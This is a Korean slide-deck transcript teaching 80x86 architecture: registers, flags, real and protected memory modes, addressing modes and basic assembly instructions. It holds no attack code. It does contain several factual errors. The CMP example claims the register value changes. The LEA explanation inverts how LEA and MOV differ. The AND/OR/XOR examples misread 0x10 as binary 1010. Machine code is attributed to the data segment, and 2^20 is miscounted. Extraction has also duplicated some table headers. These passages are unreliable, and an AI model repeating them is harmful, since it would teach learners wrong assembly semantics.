2 80×86 시스템에 대한 이해.

Slides:



Advertisements
Similar presentations
1 Prof. Young Jin Nam, Daegu University 컴퓨터 구조 (Computer Architecture) 명령어 세트 : 특성과 기능 남영진
Advertisements

Family 의 개요 의 외부 Pin 기능과 내부 기능 Memory 구조 Timing 2 장 8051 의 구조.
Chapter 05. 코드 보안 : 코드 속에 뒷길을 만드는 기술
ISA 심화 및 start.S code 분석 SIOR 15th 최재훈.
예외 상황 예제 개발 1실 서버팀 우상욱 소스 첨가(…).
Basic of Buffer Over Flow
Shellcode 작성 김영성.
Part01. 시스템 해킹을 위한 기초 지식 Chapter01. 운영체제에 대한 이해
프로그램 제어 분기(branch)와 점프(jump) 명령어 PC의 값의 변경 순차적인 프로그램의 진행순서가
9장 가로채기(Interrupt) Slide 1 (of 15).
4장 어셈블리 프로그램 작성의 기본 어셈블러 어셈블리 언어 요소 예제 프로그램 데이터 정의
제4장 어셈블리어.
기본 컴퓨터 프로그래밍 Lecture #6.
컴퓨터 과학 개론 √ 원리를 알면 IT가 맛있다 컴퓨터 과학도를 위한 첫 전공서 ehanbit.net.
실습 7-3 gdb 분석을 통해 취약 프로그램의 힙 버퍼 오버플로우 개념 이해하기
Lecture #12 인터럽트 Interrupt.
버퍼 오버플로우 by 강희원,김무혁.
Lecture #5 어셈블리어 (2) 매크로 어셈블리어 시스템프로그래밍.
10장 주변장치 (PIO) Slide 1 (of 28).
Lecture #7 어셈블리어 (4) 매크로 어셈블리어 시스템프로그래밍.
제 7 장 링커와 로더 설계.
제 1 장 마이크로프로세서의 기본동작.
3장 MPU 내부구조 Slide 1 (of 28).
컴퓨터 구조론 2001년 10월 22일 발표자 황영선.
버퍼 오버플로우에 대한 대책과 발전된 공격 안전한 함수 사용 버퍼 오버플로우에 취약한 함수 사용하지 않기
Software Exploit and Kernel Protection
7장 마이크로프로세서의 명령어수행과 주소지정 방식 Slide 1 (of 29).
출처: IT CookBook, 컴퓨터 구조와 원리 2.0 제 12장
제 18 강 데이터 타입 타입, 변환, 캐스팅 shcho.pe.kr.
컴퓨터 구조.
1 컴퓨터 시스템 소개.
REVERSE ENGINEERING HeXA 1st
+ 가상 메모리 -> 물리 메모리 Selector Offset DIR Page Segmetatation
Lecture #8 어셈블리어 (5) 매크로 어셈블리어 시스템프로그래밍.
버퍼 오버플로우 시스템보안 인터넷공학전공 권영락.
9장. 중앙처리 장치의 조직과 기능 다루는 내용 컴퓨터 본체에서 CPU의 위치 살펴보기 CPU의 성능, 기능, 조직
4장 컴퓨터의 중앙 처리 장치 하 효 순.
Computer Architecture
리버스 엔지니어링 안녕하십니까? 리버스 엔지니어링 발표를 맡은 정창하입니다. 지금부터 리버스 엔지니어링 발표를
어셈블리어 및 실습 금 1,2 (314) / 금 3,4 (307) RTDCS 이 종 태
6 중앙처리장치의 조직과 기능 IT CookBook, 컴퓨터 구조와 원리 2.0.
Chapter 06 명령어와 번지지정 방식.
ARM 명령어 집합 Lecture #7.
제 6 장 8086 어셈블러 설계.
8086 프로세서의 구조 및 동작 방식 시스템 프로그래밍 - Lecture #2 신라대학교 컴퓨터공학과 시스템 프로그래밍.
BOF of 2.6 Kernel ! 박수완 / Su-Wan, PARK [ L1nkC] 숭실대학교 정보보호동아리 ACK
제3장 8086 프로세서의 내부구조.
제 2장 컴퓨터동작의 기본 개념.
임베디드 소프트웨어 설계.
10장. 중앙처리 장치의 명령어 다루는 내용 어셈블리 프로그램의 이해 인터럽트(interrupt) 명령어 세트 주소 지정 방식.
명령어 구조 컴퓨터 하드웨어의 구성 프로그램 명령어 프로그램 실행 동작.
Chapter 4 The Von Neumann Model.
명품 C++ 프로그래밍 1장. C++ 시작.
Buffer Overflow
제 장 학습내용 C 언어에서의 인터럽트 사용 레지스터를 위한 자료구조 인터럽트를 수행하기 위한 명령어
6장 연산 장치 6.1 개요 6.2 연산장치의 구성요소 6.3 처리기 6.4 기타 연산장치.
어셈블리어 (2) 매크로 어셈블리어 시스템 프로그래밍 - Lecture #4
Computer System Architecture
6-1 중앙 처리 장치의 내부 구조 6-2 명령(instruction) 6-3 주소 지정 방식
PIC16C84의 외형 RA2 1 RA1 I/O PIN I/O PIN RA3 RA0 RTCC OSC1 발 진 RESET
운영체제 (Operating Systems) (Memory Management Strategies)
1. 컴퓨터 시스템 구성요소 메모리(Memory) 캐시메모리 개념 캐시메모리의 특징 적중률(hit ratio)
11장. 마이크로 프로세서 내부 구조.
9장. 중앙처리 장치의 조직과 기능 다루는 내용 컴퓨터 본체에서 CPU의 위치 살펴보기 CPU의 성능, 기능, 조직
LCD.
GDB - GNU Debugger 김진용.
Introduction to Computer System 컴퓨터의 이해 3: 데이터 표현
10장. 컴퓨터 구조에 대한 세 번째 이야기 작성자: 윤성우.
Lecture 7 7-Segment LED controller using u-controller
4-1. 명령어 형식.
Presentation transcript:

2 80×86 시스템에 대한 이해

학습목표 내용 80×86 시스템CPU의 구조를 이해한다. 80×86 시스템의 메모리 구조와 동작 원리를 이해한다. 어셈블리어를 이해한다. 80×86 시스템의 스택에서 명령을 처리하는 구조를 이해한다. 내용 80×86 시스템 CPU와 레지스터 80×86 시스템의 메모리 어셈블리어의 기본 문법과 명령 스택을 통한 명령 처리 과정

80×86 시스템 CPU와 레지스터 [표 2-1] 인텔 CPU 모델별 관련 정보 모델 8085 8086 8088 80286 80386 80486 펜티엄 펜티엄-프로 생산 시작 연도 1976년 1978년 1979년 1982년 1985년 1989년 1992년 1995년 클록 주파 수(MHz) 3~8 5~8 6~16 16~33 25~50 60, 66 150 트랜지스 터 수 6,500 29,000 130,000 275,000 1.2 백만 3.1 백만 5.5 백만 물리 메모 리 64 K 1 M 16 M 4 G 64 G 내부 데이 터 버스 8 16 32 외부 데이 터 버스 64 주소 버스 20 24 36 데이터 크 기(비트) 8,16 8, 16 8, 16, 32

80×86 시스템 CPU의 구조와 레지스터 80×86 시스템 CPU의 구조

80×86 시스템 CPU의 구조와 레지스터 80×86 시스템 CPU의 구조 연산장치 [표 2-2] 연산 장치의 구성 요소 연산 장치(ALU:Arithmetic and Logic Unit)는 CPU(중앙 처리 장치)의 핵심 부분 중 하나로, 산술과 논리 연산을 수행하는 연산 회로 집합으로 구성 [표 2-2] 연산 장치의 구성 요소 구성 요소 기능 내부 장치 가산기(Adder) 덧셈 연산 수행 보수기(Complementer) 뺄셈 연산 수행. 1의 보수나 2의 보수 방식 이용 시프터(Shifter) 비트를 오른쪽이나 왼쪽으로 이동하여 나눗셈과 곱셈 연산 수행 관련 레지 스터 누산기(Accumulator) 연산의 중간 결과 저장 데이터 레지스터 (Data Register) 연산에 사용할 데이터 저장 상태 레지스터(Status Register) 연산 실행 결과로 나타나는 양수와 음수, 자리올림, 오버 플로우의 상태 기억

80×86 시스템 CPU의 구조와 레지스터 80×86 시스템 CPU의 구조 제어장치 레지스터 제어 장치(Control Unit)는 입력, 출력, 기억, 연산 장치를 제어하고 감시, 주기억 장치에 저장된 명령을 차례로 해독하여 연산 장치로 보내 처리되도록 지시 [표 2-3] 제어 장치의 구성 요소 레지스터 처리 중인 데이터나 처리 결과를 임시 보관하는 CPU 내의 기억 장치 구성 요소 기능 내부 장치 명령 해독기(Instruction Decoder) 명령 레지스터에 있는 명령을 해독하여 부호기로 전송 부호기(Decoder) 명령 해독기가 전송한 명령을 신호로 만들 어 각 장치 전송 주소 해독기 (Address Decoder) 명령 레지스터에 있는 주소를 해독하여 메 모리의 실제주소로 변환한 후, 이를 데이터 레지스터에 저장 관련 레지 스터 프로그램 카운터(Program Counter) 다음에 실행할 명령의 주소 저장 명령(Instruction) 레지스터 현재 실행 중인 명령 저장 메모리 주소(Memory Address) 레지스터 주기억 장치의 번지 저장 메모리 버퍼(Memory Buffer) 레지스터 메모리 주소 레지스터에 저장된 주소의 실 제 내용 저장

80×86 시스템 CPU의 구조와 레지스터 레지스터의 종류와 기능 [표 2-4] 레지스터의 종류와 용도 범주 80386 이름 비 트 용도 범용 레지 스터 (General Register) EAX 누산기 (Accmulator) 32 주로 산술 연산에 사용(함수의 결과 값 저 장) EBX 베이스 레지스터 (Base Register) 특정 주소 저장(주소 지정을 확대하기 위 한 인덱스로 사용) ECX 카운트 레지스터 (Count Register) 반복적으로 실행되는 특정 명령에 사용(루 프의 반복 횟수나 좌우 방향 시프트 비트 수 기억) EDX 데이터 레지스터 (Data Register) 일반 자료 저장(입출력 동작에 사용) 세그먼트 레지스터 (Segment Register) CS 코드 세그먼트 레지스터 (Code Segment Register) 16 실행될 기계 명령어가 저장된 메모리 주소 지정 DS 데이터 세그먼트 레지스터 (Data Segment Register) 프로그램에서 정의된 데이터, 상수, 작업 영역의 메모리 주소 지정 SS 스택 세그먼트 레지스터 (Stack Segment Register) 프로그램이 임시로 저장해야 하는 데이터 나 사용자의 피호출 서브 루틴(called subroutine)이 사용할 데이터와 주소 저장 ES, FS, GS 엑스트라 세그먼트 레지스터 (Extra Segment Register) 문자 연산과 추가 메모리 지정을 위해 사 용되는 여분의 레지스터

80×86 시스템 CPU의 구조와 레지스터 레지스터의 종류와 기능 [표 2-4] 레지스터의 종류와 용도 범주 80386 이름 비 트 용도 포인터 레 지스터 (Pointer Register) EBP 베이스 포인터 (Base Pointer) 32 SS 레지스터와 함께 사용되어 스택 내의 변수 값을 읽는 데 사용 ESP 스택 포인터 (Stack Pointer) SS 레지스터와 함께 사용되며 스택의 가 장 끝 주소를 가리킴 EIP 명령 포인터 (Instruction Pointer) 다음 명령어의 오프셋(Offset, 상대 위치 주소)을 저장하며 CS 레지스터와 합쳐져 다음에 수행될 명령의 주소 형성 인덱스 레 지스터 (Index Register) EDI 목적지 인덱스 (Destination Index) 목적지 주소에 대한 값 저장 ESI 출발지 인덱스 (Source Index) 출발지 주소에 대한 값 저장 플래그 레 지스터 EFLAGS 플래그 레지스터 (Flag Register) 연산 결과 및 시스템 상태와 관련된 여러 가지 플래그 값 저장

80×86 시스템 CPU의 구조와 레지스터 레지스터의 종류와 기능 범용 레지스터 [표 2-5] 레지스터의 종류와 용도 구분 맴핑 레지스터 연산 장치 관련 레지 스터 누산기(Accumulator) EAX 데이터 레지스터(Data Register) EDX 상태 레지스터(Status Register) EFLAGS 제어 프로그램 카운터(Program Counter) ECX 명령 레지스터(Instruction Register) EIP 메모리 주소 레지스터(Memory Address Register) EBX, EBP, ESP, EDI, ESI 등 메모리 버퍼 레지스터(Memory Buffer Register) 프로그램 실행과 관련한 데이터를 저장하는 레지스터로 RAM의 역할을 한다.

80×86 시스템 CPU의 구조와 레지스터 레지스터의 종류와 기능 범용 레지스터 연산 장치가 수행한 계산 결과의 임시 저장, 산술 및 논리 연산, 주소 색인 등의 목적으로 사용될 수 있는 레지스터 EAX, EBX, ECX, EDX등. EAX, EBX, ECX, EDX는 32비트 레지스터로 앞의 E는‘확장된(Extended)’을 의미. 이 레지스터의 오른쪽 16비트를 각각 AX, BX, CX, DX라 부르고, 이 부분은 다시 둘로 나뉜다. 예를 들어, AX는왼쪽 8비트 상위(high) 부분을AH, 오른쪽 8비트 하위(low) 부분을AL이라 한다.

80×86 시스템 CPU의 구조와 레지스터 범용 레지스터 EAX 레지스터 : 누산기, 입출력과 대부분 산술 연산에 사용 EBX 레지스터 : DS 세그먼트에 대한 포인터를 주로 저장 ESI나 EDI와 결합하여 인덱스에 사용 ECX 레지스터 : 루프가 반복되는 횟수를 제어하는 값 왼쪽이나 오른쪽으로 이동되는 비트 수 등을 포함 EDX 레지스터 : 입출력 연산에 사용, 큰 수의 곱셈과 나눗셈 연산에서 EAX와 함께 사용

80×86 시스템 CPU의 구조와 레지스터 세그먼트 레지스터 : 프로그램에 정의된 메모리상의 특정 영역 코드, 데이터, 스택 등을 포함 CS, DS, SS 3개의 레지스터가 기본 ES, FS, GS 레지스터는 여분 CS 레지스터 : 기계 명령을 포함. 코드세그먼트의 시작 주소를 가리킴. DS 레지스터 : 프로그램에 정의된 데이터, 상수, 작업 영역을 포함. 데이터 세그먼트의 시작 주소를 가리킴. 데이터의 오프셋을 DS 레지스터에 저장된 주소 값에 더해 데이터 세그먼트 내에 위치해 있는 데이터의 주소를 참조. SS 레지스터 : 실행 과정에서 필요한 데이터나 연산 결과 등을 임시로 저장하거나 삭제할 때 사용 스택 세그먼트의 시작 주소를 가리킨다. ES, FS, GS 레지스터 : ES 레지스터는 추가로 사용된 데이터 세그먼트의 주소를 가리킴. FS와 GS 레지스터도 목적은 이와 비슷, 거의 사용되지 않음.

80×86 시스템 CPU의 구조와 레지스터 포인트 레지스터 : 프로그램 실행 과정에서 사용되는 주요 메모리 주소값을 저장 EBP, ESP, EIP가 있다. EBP 레지스터 : 스택 세그먼트에서 현재 호출되어 사용되는 함수의 시작 주소 값 저장. 함수로 전달되는 지역변수 등을 참조할 때 기준, ESP 레지스터와 함께 사용되어 스택 프레임(stack frame)을 형성. 실제 메모리상의 주소를 참조할 때 SS(Stack Segment) 레지스터와 함께 사용. ESP 레지스터 : 현재 스택 영역에서 가장 하위 주소를 저장. EBP와 마찬가지로 실제 메모리상의 주소를 참조할 때 SS(Stack Segment) 레지스터와 함께 사용. EIP 레지스터 : 다음에 실행될 명령의 오프셋을 포함. CS(Code Segment) 레지스터와 함께 사용. 인덱스 레지스터 ESI & EDI : 메모리의 한 영역(Souce)에서 다른 영역(Destination)으로 데이터를 연속적으로 복사할 때 사용

80×86 시스템 CPU의 구조와 레지스터 플래그 레지스터 : 32비트로, 컴퓨터의 다양한 상태를 나타내는 비트 포함. 상태 플래그, 제어 플래그, 시스템 플래그로 구성 상태 플래그 : 산술 명령(ADD, SUB, MUL, DIV) 결과를 반영. - CF(Carry Flag, 비트 0) : 산술 연산 결과로 자리올림, 자리내림 발생할 때 세트(1). - ZF(Zero Flag, 비트 6) : 산술 연산 결과 0이면 세트(1), 이외에는 클리어(0). - OF(Overflow Flag, 비트 11) : 부호가 있는 수의 오버플로우가 발생하거나 MSB(MostSignificant Bit)가 변경되었을 때 세트

80×86 시스템 CPU의 구조와 레지스터 플래그 레지스터 제어 플래그(Control Flag) : 스트링 명령(MOVS, CMPS, SCAS, LODS, STOS)을 제어. DF가 1이면 스트링 명령 자동 감소, 0이면 자동 증가 STD/CLD 명령은 각각DF 플래그를 세트(1), 클리어(0). 시스템 플래그(System Flag) - TF(Trap Flag, 비트 8) : 디버깅 시‘Single Step Mode’모드를 활성화하면 세트 - IF(Interrupt enable Flag, 비트 9) : 프로세서의 인터럽트 처리 여부를 제어 - IOPL(I/O Privilege Level, 비트 12/13) : 현재 실행되는 프로그램, 태스크의 입출력 특권 레벨 지시 - NT(Nested Task flag, 비트 14) : 인터럽트되거나 호출된 태스크를 제어 - RF(Resume Flag, 비트 16) : 프로세서의 디버그 예외 반응을 제어 - VM(Virtual 8086 Mode flag, 비트 17) : V86 모드를 활성화하면 세트 - AC(Alignment Check, 비트 18) : 메모리 참조 시 정렬 기능을 활성화하면 세트 - VIF(Virtual Interrupt Flag, 비트 19), VIP(Virtual Interrupt Pending, 비트 20) : 가상 모드 확장과 관련해 사용 - ID(IDentification, 비트 21) : CPUID 명령의 지원 유무를 결정

80×86 시스템의 메모리 메모리의 기본 구조 스택 : 후입선출(LIFO : Last-In, First Out) 방식에 의해 정보를 관리. Top이라고 불리는 스택의 끝부분에서 데이터의 삽입과 삭제가 발생. 가장 나중에 삽입된 정보가 가장 먼저 읽힘

80×86 시스템의 메모리 메모리의 기본 구조 힙 : 프로그램의 실행 중 필요한 기억 장소를 할당하기 위해 운영체제에 예약되어 있는 기억 장소영역. 데이터를 저장하기 위해 기억 장소를 요청하면 운영체제는 힙에 존재하는 기억 장소를 프로그램에 할당. 기억 장치가 더 이상 필요 없으면 할당 받았던 기억 장소를 운영체제에 반납, 운영체제에서는 반납된 기억 장소를 다시 힙에 돌려줌. 힙에 대한 기억 장소는 포인터를 통해 동적으로 할당되거나 반환. 연결 리스트, 트리, 그래프처럼 동적인 특성이 있는 데이터 구조에서 널리 사용 데이터 세그먼트 :초기화된 외부 변수나 static 변수 등이 저장되는 영역 보통 텍스트 세그먼트(Text segment)와 데이터 세그먼트 영역을 합쳐 프로그램이라 한다.

80×86 시스템의 메모리 메모리의 기본 구조 BSS 세그먼트 : 초기화 되지 않은 데이터 세그먼트(Uninitalized data segment)라고 불리며, 프로그램이 실행될 때 0이나 NULL 포인터로 초기화. 외부 변수나 static 변수중 초기화 되지 않은 변수들이 정의될 때 저장 데이터 세그먼트 : CPU에 의해 실행되는 머신 코드가 있는 영역

80×86 시스템의 메모리 메모리 접근 모드와 동작 실제 모드 : 8086 CPU에서 사용되던 동작 모드. 20비트 주소 버스 사용 위해 16비트 레지스터 사용. 총1MB(220 =1,048,567)의 메모리 사용 가능. 20비트 주소를 나타내기 위해 세그먼트 레지스터를 도입 [그림 2-8]과 같이 16비트의 세그먼트 레지스터와 16비트의 오프셋을 중첩시킨 20비트의 물리 주소를 생성

80×86 시스템의 메모리 메모리 접근 모드와 동작 세그먼트 주소인 CS 레지스터가 0x2525h, 오프셋인 IP가 0x95F3h면 0x2525h뒤에 한 자리의 0x0h를 붙여 95F3h를 더한 2E843h가 실제 가리키는 물리 주소가 됨 2525h :95F3h, 또는 [CS]:96F3h로 표현 하나의 세그먼트에 64KB(216 =65,536)의 메모리 사용 [표 2-6] 세그먼트 레지스터별 기본 오프셋 레지스터 세그먼트 레지스터 오프셋 레지스터 CS IP DS SI, DI, BX SS SP, BP ES

80×86 시스템의 메모리 메모리 접근 모드와 동작 보호 모드 : 80286부터 도입된 보호 모드(Protected Mode)는 32비트 CPU 80386에 완성 . 32비트 주소 버스를 통해 4GB의 메모리를 사용 가능, 메모리 보호 기능과 페이징(Paging) 등을 통해 가상 메모리를 효율적으로 구현 세그먼테이션(Segmentation)과 페이징 이용 메모리 관리. 세그먼테이션은 4GB의 메모리를 세그먼트 단위로 쪼갠 것으로, 여기서는 16비트의 셀렉터와 32비트의 오프셋을 이용해 4GB 범위의 32비트 선형 주소(linear address)를 만듬.

어셈블리어의 기본 문법과 명령 어셈블리어의 구조 Intel 문법과 AT&T 문법이 있다. 윈도우에서는 Intel 문법 사용 Intel 문법에서는 목적지 (destination)가 먼저 오고 원본(source)이 뒤에 위치 AT&T에서는 반대. Intel 문법에서 어셈블리어의 명령 형식은 다음과 같다. Label : MOV AX, BX ; comment 라벨 작동 코드 제1피연산자 제2피연산자 설명

어셈블리어의 기본 문법과 명령 어셈블리어의 데이터 타입과 리틀 엔디언 방식 데이터 타입 바이트(Byte) : 1바이트(8비트) 데이터 항목 워드(Word) : 2바이트(16비트) 데이터 항목 더블워드(Doubleword) : 4바이트(32비트) 데이터 항목

어셈블리어의 기본 문법과 명령 어셈블리어의 데이터 타입과 리틀 엔디언 방식 리틀 엔디언 방식 : 2개의 번지로 나누어 저장해야 하는 16비트 데이터(워드)의 경우 하위 바이트는 하위 번지에 상위 바이트는 상위 번지에 저장. 예) hex 값 0x34F3을 1500번지에 저장하려면 하위값 0xF3은 1500번지에,상위 값 0x34는 1501번지에 저장

어셈블리어의 기본 문법과 명령 어셈블리어의 주소 지정 방식 레지스터 주소 지정 : 레지스터의 주소 값을 직접 지정 복사, 처리 속도 가장 빠름 직접 메모리 주소 지정 : 가장 일반적인 주소 지정 방식. 보통 피연산자 하나가 메모리 위치를 참조하고 다른 하나는 레지스터를 참조. (예)DS:[8088h]와 DS:[1234h]는 각각‘세그멘트:오프셋’형식의 메모리에 직접 접근하는 방식 MOV DX, BX MOV AL, DS:[8088h] MOV DS:[1234h], DL

어셈블리어의 기본 문법과 명령 레지스터 간접 주소 지정 : ‘세그멘트:오프셋’형식을 사용 MOV AL, [BX] 다음과 같이 기본이 아닌 세그먼트를 강제로 지정 할 수도 있다. MOV AL, [BX] MOV AL, [BP] MOV AL, CS:[BX] MOV AL, DS:[BP]

어셈블리어의 기본 문법과 명령 인덱스 주소 지정 : 레지스터 간접 지정 방식에 변위가 더해진 메모리 주소 지정 방식 (예)20h만큼 더해 메모리를 참조한 명령 다음과 같이 바꿔서 표현 할 수 있다. MOV AL, [BX+20h] MOV AL, [BP+20h] MOV AL, 20h[BX] MOV AL, 20h[BP]

어셈블리어의 기본 문법과 명령 베이스 인덱스 주소 지정 : 실제 주소 생성 위해 베이스 레지스터(BX 또는 BP)와 인덱스 레지스터(DI 또는 SI)를 결합. 2차원 배열의 주소 지정에 사용 다음과 같이 바꿔서 표현 할 수 있다. MOV AL, [BX+SI] MOV AL, [BP+SI] MOV AL, [BX][SI] MOV AL, [BP][SI]

어셈블리어의 기본 문법과 명령 변위를 갖는 베이스 인덱스 주소 지정 : 베이스-인덱스의 변형으로 실제 주소 생성 위해 베이스 레지스터, 인덱스 레지스터, 변위 결합 MOV AL, [BX+SI+20h] MOV AL, [BP+SI+20h]

어셈블리어의 기본 문법과 명령 어셈블리어의 기본 명령 산술 연산 명령 : 기본적인 정수 계산 ADD(Add) : 제1피연산자와 제2피연산자 값을 더한 결과 값을 제1피 연산자에 저장 SUB(Subtract) : 제1피연산자에서 제2피연산자 값을 뺀 결과 값을 제1피연산자에 저장 CMP(Compare) : 데이터의 두 값 비교 시 사용. ‘cmp a, b’의 경우 a에서 b를 뺀 값이 0이면 참 형식 ADD [제1피연산자] [제2피연산자] 사용예 ADD AL 4 AL이 원래 3이었다면, 명령 실행 후 AL은 7이 된다. 형식 SUB [제1피연산자] [제2피연산자] 사용예 SUB AL 4 AL이 원래 7이었다면, 명령 실행 후 AL은 3이 된다. 형식 CMP [제1피연산자] [제2피연산자] 사용예 CMP AL 4 AL이 원래 7이었다면, 명령 실행 후 AL은 3이 된다.

어셈블리어의 기본 문법과 명령 어셈블리어의 기본 명령 기타 산술 연산 명령 [표 2-7] 기타 산술 연산 명령 명령 설명 기타 산술 연산 명령 [표 2-7] 기타 산술 연산 명령 명령 설명 ADC Add with Carry 캐리를 포함한 덧셈을 수행한다. SBB Subtraction with borrow 캐리를 포함한 뺄셈을 수행한다. DEC Decrement 피연산자 내용을 하나 감소시킨다. NEG. Change Sign 피연산자의 2의 보수, 즉 부호를 반전한다. INC Increment 피연산자 내용을 하나 증가시킨다. AAA ASCII adjust for add 덧셈 결과의 AL 값을 UNPACK 10진수로 보정한다. DAA Decimal adjust for add 덧셈 결과의 AL 값을 PACK 10진수로 보정한다. AAS ASCII adjust for subtract 뺄셈 결과의 AL값을 UNPACK 10진수로 보정한다

어셈블리어의 기본 문법과 명령 어셈블리어의 기본 명령 기타 산술 연산 명령 [표 2-7] 기타 산술 연산 명령 명령 설명 기타 산술 연산 명령 [표 2-7] 기타 산술 연산 명령 명령 설명 DAS Decimal adjust for subtract 뺄셈 결과의 AL값을 PACK 10진수로 보정한다. MUL Multiply(Unsigned) AX와 피연산자의 곱셈 결과를 AX 또는 DX:AX에 저장한다. IMUL Integer Multiply(Signed) 부호화된 곱셈을 수행한다. AAM ASCII adjust for Multiply 곱셈 결과의 AX 값을 UNPACK 10진수로 보정한다. DIV Divide(Unsigned) AX 또는 DX:AX 내용을 피연산자로 나눈다. 몫은 AL 또는 AX에 저장하고, 나머지는 AH 또는 DX에 저장한다. IDIV Integer Divide(Signed) 부호화된 나눗셈 AAD ASCII adjust for Divide 나눗셈 결과 AX 값을 UNPACK 10진수로 보정한다. CBW Convert byte to word AL의 바이트 데이터를 부호 비트를 포함하여 AX 워드로 확장한다. CWD Convert word to double word AX의 워드 데이터를 부호를 포함하여 DX:AX의 더블 워드로 변환한다.

어셈블리어의 기본 문법과 명령 어셈블리어의 기본 명령 데이터 전송 명령 : 메모리, 범용 레지스터, 세그먼트 레지스터로 참조되는 주소에 존재하는 데이터 전송 MOV(Move) : 데이터 이동할 때 사용 BP의 현재 값이 0x10000004라면, BP+8은 0x1000000C 0x1000000C에 있는 값이 1024므로 AX에는 1024가 입력 형식 MOV [제1피연산자] [제2피연산자] 사용 예 MOV AX [BP+8] BP의 주소에 8 더해진 주소에 있는 데이터 값을 AX에 대입한다.

어셈블리어의 기본 문법과 명령 어셈블리어의 기본 명령 PUSH(Push) : 스택에 데이터를 삽입할 때 사용. [그림 2-19]와 같이 스택은 커지고, 스택 포인터(Stack Pointer)는 데이터 크기만큼 감소

어셈블리어의 기본 문법과 명령 어셈블리어의 기본 명령 POP(Pop) : 스택에서 데이터 삭제할 때 사용. 스택에서 삭제된 명령은 반환 값으로 받아 사용 가능 [그림2-20]과 같이 스택 포인터는 삭제하는 데이터 크기만큼 증가

어셈블리어의 기본 문법과 명령 어셈블리어의 기본 명령 LEA(Load effective address to register) : 데이터의 값 이동할 때 사용, MOV 명령과 LEA 명령에서 제1피연산자는 데이터 이동 공통, 제2피연산자에 대한 추가 연산의 처리 방식은 다르다. 제2피연산자에‘BP+4’가 있을 경우 MOV 명령은 ‘BP+4’를 하나의 주소 값으로 처리 LEA 명령은 ‘BP’만 주소 값으로 인식 ‘+4’는BP 주소 값에 대한 추가 연산으로 처리 형식 MOV [제1피연산자] [제2피연산자] 사용 예 LEA AX [BP+4] BP의 현재 값이 0×10000004라면, MOV 명령 처럼 BP+4인 0×10000008의 주소 값을 가져 오는 것이 아니라 0×10000004의 주소에 있 는 값에 4를 더해 AX에 대입한다([그림 2-21] 참고).

어셈블리어의 기본 문법과 명령 어셈블리어의 기본 명령 기타 데이터 전송 명령 [표 2-8] 기타 데이터 전송 명령 명령 설명 기타 데이터 전송 명령 [표 2-8] 기타 데이터 전송 명령 명령 설명 XCHG Exchange Register/ Memory with Register 첫 번째 피연산자와 두 번째 피연산자를 바꾼다. IN Input from AL/ AX to Fixed port 피연산자로 지시된 포트로 AX에 데이터를 입력한다. OUT Output from AL/AX to Fixed port 피연산자가 지시한 포트로 AX의 데이터를 출력한다 XLAT Translate byte to AL BX:AL이 지시한 테이블의 내용을 AL로 로드한다. LDS Load Pointer to DS LEA 명령과 유사한 방식으로 다른 DS 데이터의 주소의 내용을 참조 시 사용한다. LES Load Pointer to ES LEA 명령과 유사한 방식으로 다른 ES 데이터의 주소의 내용을 참조 시 LAHF Load AH with Flags 플래그의 내용을 AH의 특정 비트로 로드한다. SAHF Store AH into Flags AH의 특정 비트를 플래그 레지스터로 전송한다. PUSHF Push Flags 플래그 레지스터의 내용을 스택에 삽입한다. POPF Pop Flags 스택에 저장되어 있던 플래그 레지스터 값을 삭제한다.

어셈블리어의 기본 문법과 명령 어셈블리어의 기본 명령 논리 명령 : 연산부호가 논리연산을 지정하는 명령으로 자리옮김, 논리 합(OR), 논리곱(AND), 기호 변환 등이 있다 AND(And) : 대응되는 비트가 둘 다 1일 때만 결과가 1 이고, 그 이외는 모두 0 형식 AND [제1피연산자] [제2피연산자] 사용 예 AND AX 10h AX 값이 0x08h라면 이를 이진수로 표현하면 1000이 된다. 0x10h는 1010이므로, 명령을 수행한 뒤에 AX 값은 1000이 된다. AX 1 0×10h AND 연산 결과

어셈블리어의 기본 문법과 명령 어셈블리어의 기본 명령 OR(Or) : 대응되는 비트 중 하나만 1이어도 결과가 1이고, 둘 다 0인 경우에만 0 형식 OR [제1피연산자] [제2피연산자] 사용 예 OR AX 10h AX 값이 0x08h라면 이를 이진수로 표현하면 1000이 된다. 0x10h는 1010이므로, 명령을 수행한 뒤에 AX 값은 1010이 된다. AX 1 0×10h OR 연산 결과

어셈블리어의 기본 문법과 명령 어셈블리어의 기본 명령 XOR(Exclusive Or) : 대응되는 비트 중에서 한 비트가 1이고 다른 비트가 0이면 1 두 개의 비트가 모두 0 또는 1일 때 0 형식 XOR [제1피연산자] [제2피연산자] 사용 예 XOR AX 10h AX 값이 0x08h라면 이를 이진수로 표현하면 1000이 된다. 0x10h는 1010이므로, 명령을 수행한 뒤에 AX 값은 0010이 된다. AX 1 0×10h OR 연산 결과

어셈블리어의 기본 문법과 명령 어셈블리어의 기본 명령 NOT(Invert) : 피연산자의 1의 보수를 구하는 작동 코드로, 각 비트를 반전 형식 NOT [제1피연산자] 사용 예 NOT AX AX 값이 0x08h라면 이를 이진수로 표현하면 1000이 된다. 명령을 수행한 뒤에 AX 값은 0111이 된다. AX 1 NOT 연산 결과

어셈블리어의 기본 문법과 명령 어셈블리어의 기본 명령 Test(And function to flags, no result) : 데이터의 두 값 비교할 때 사용 데이터의 변경 없이 단순 비교 형식 TEST [제1피연산자] [제2피연산자] 사용 예 TEST AL 00001001b AL 레지스터에 비트 0과 비트 3이 둘 다 0인지 확인하고 싶으면 제2피연산자에 비트 0(오른쪽의 첫 번째 비트)과 비트 3(오른쪽부 터 네 번째 비트)에 1을 적어주고 나머지에는 0을 적어준 후 TEST 명령을 실행한다. AL의 비트 0과 비트 3이 모두 0이라면 ZF(Zero Flag)가 세트된다. 비트 0와 비트 3 중 하나라도 1이면 ZF는 클리 어된다. AX가 0x08h라면 비트 3이 1이므로 ZF는 클리어된다. AL 1 00001001b

어셈블리어의 기본 문법과 명령 어셈블리어의 기본 명령 기타 논리 명령 : 데이터의 두 값을 비교할 때 사용, 데이터의 변경 없이 단순 비교 [표 2-9] 기타 논리 명령 명령 설명 SHL / SAL Shift Left/arithmetic Left 왼쪽으로 피연산자만큼 자리 이동 SHR /SAR Shift Right / Shift arithmetic Right 오른쪽으로 피연산자만큼 자리 이동 ROL Rotate Left 왼쪽으로 피연산자만큼 회전 이동 ROR Rotate Right 오른쪽으로 피연산자만큼 회전 이동 RCL Rotate through carry left 자리올림(Carry)을 포함하여 왼쪽으로 피연산자 만큼 회전 이동 RCR Rotate through carry Right 자리올림(Carry)을 포함하여 오른쪽으로 연산자 만큼 회전이동

